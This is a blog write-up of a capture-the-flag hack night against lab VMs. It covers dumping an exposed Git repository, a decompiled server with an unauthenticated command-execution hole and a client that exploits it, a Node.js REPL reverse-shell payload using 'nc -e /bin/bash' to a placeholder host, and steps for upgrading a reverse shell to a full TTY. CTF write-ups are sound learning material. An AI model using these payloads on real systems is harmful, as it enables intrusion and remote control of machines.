# Hack Night revisited
About half a year ago I participated in one and barely made it. This
time things were looking far better, I had a team, learned how to use
Burp and knew to spawn reverse shells. What could possibly go wrong?
It turns out that no matter how much you prepare, something will
always go wrong. I didn't have a USB stick prepared to boot into and
my VM didn't like their networking setup, so I had to work from my
private machine directly wired up to their network. That wasn't too
bad though, with the exception of `dirb` I had all the necessary tools
installed. There were six VMs available for further exploration, I
concentrated on two while my team mate picked two other ones.
# Diego
Scanning the default ports shows nginx listening. Opening the IP
address in a browser gives us the default page, so `dirb` it is.
After a few moments it shows an unexpected hit for `/.git/HEAD`. Did
someone really expose their Git repository to the entire world or is
there more to it?
I mess around for a few minutes with Git syntax to clone a repository
using an IP address only, but eventually give up and search the web
for a CTF challenge where someone ran into the same issues. It turns
out that the problem comes in two variants, with directory listing
enabled (in which case one can simply use `wget` to mirror it, then
clone from the bare repository into another directory) and disabled
(where you have to guess paths and work your way from references).
Fortunately someone published their tooling to deal with the latter
and put it on GitHub:
https://github.com/internetwache/GitTools
Using `gitdumper.sh` and `extractor.sh` I've managed recovering two
`.pyc` files. Some reverse engineering is required to make sense of
these. None of the online tools work, so I research a bit more and
discover a usable decompyler:
https://pypi.org/project/uncompyle6/
The two files turn out to be minimally obfuscated sources of a client
and server program, with most meaningful identifiers replaced by
random tokens. Search and replace with symbol matching is plenty to
give them meaningful names again, here's the server code:
import socket as sock, os
from io import StringIO
import sys, random, time
port = 49152
bufsz = 4096
coding = 'utf-8'
mystery_hash = 'bf6cc0a3f45903f4aee77fbbbc5f36b6'
def check(user_input):
args = user_input.split(':')
if args[0] != mystery_hash:
return ''
if args[1] == 'latency':
return '{} ms'.format(random.randint(0, 1000))
print('Param is {}'.format(args[1]))
return os.popen(args[1]).read()
while True:
s = sock.socket(sock.AF_INET, sock.SOCK_STREAM)
s.bind(('', port))
s.listen(1)
conn, addr = s.accept()
while True:
data = conn.recv(bufsz)
conn.send(bytes(check(data.decode(coding)), coding))
if not data:
conn.close()
break
The client isn't really worth talking about, with the exception of the
Tcl/Tk GUI. It connects to the server with the user-provided IP
address and sends maintenance-related commands. Nothing in the
server's code prevents the client from sending arbitrary commands, so
I wrote my own client for easy experimentation:
import sys
import socket as socket
coding = 'utf-8'
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = sys.argv[1]
port = 49152
mystery_hash = 'bf6cc0a3f45903f4aee77fbbbc5f36b6'
cmd = sys.argv[2]
bufsz = 4096
s.connect((host, port))
s.send(bytes('{}:{}'.format(mystery_hash, cmd), coding))
data = s.recv(bufsz)
print(str(data, coding))
s.close()
Obtaining the user flag is trivial, unfortunately I couldn't figure
out how to escalate privileges for the root flag. It was time to help
out my team mate with a different VM.
# Devon
As usual, scanning the common ports shows a HTTP server listening.
Opening the IP address in a browser doesn't do anything for a while,
then finally displays a landscape photo titled "Enjoy the landscape".
What a joke. I downloaded the image to check it for steganography and
found an EXIF comment with a hexadecimal string. My team mate pointed
out there's one more web service listening on port 8001. It's another
default node.js application. Eventually we had the idea to use the
mystery string as a route and got a page with an input box and submit
button.
Some experimentation revealed it to be a node.js REPL. Armed with
that knowledge, extracting the user flag is as easy as
`require('fs').readFileSync('/home/user/token.txt').toString()`.
Going from there to a reverse shell is slightly harder, assuming
you've started a listener with `nc -lp 1234` on your machine
available at `1.2.3.4`, the payload would be
`require('child_process').exec('nc -e /bin/bash 1.2.3.4 1234')`.
I used the chance to research a bit more on how to improve the reverse
shell experience.
https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/
shows more than the well-known `python -c "import pty;
pty.spawn('/bin/bash')"` trick, using `stty` and `reset` you can make
tab-completion and `C-c` work again. My take on this looks as
follows:
- Make sure you're in a bash session (for some reason this doesn't
work in zsh)
- Set up the listener on the attacker machine: `nc -lp 1234`
- Connect to the listener from the victim machine, like by executing
`nc -e /bin/bash 1.2.3.4 1234`
- Execute the following in the attacker session: `python -c "import
pty; pty.spawn('/bin/bash')"`
- Background with `C-z`
- Perform shell magic with `stty raw -echo`
- Foreground with `fg`
- Execute `reset`
- You have a fully interactive shell now!
Like with the other VM I failed to escalate privileges. My team mate
found one more flag, but that was it for the evening.
# Lessons learned
This time things went way better. With a bit of luck we could have
gone for a tie because the winning team was only ahead by one root
flag. Nevertheless I have some things to do for next time:
- Have some post-exploitation scripts ready for enumerating
interesting things on the machine and suggesting exploits
- Transfer files from and to the machine easily
- Practice on systems susceptible to them
- Learn to identify suitable exploits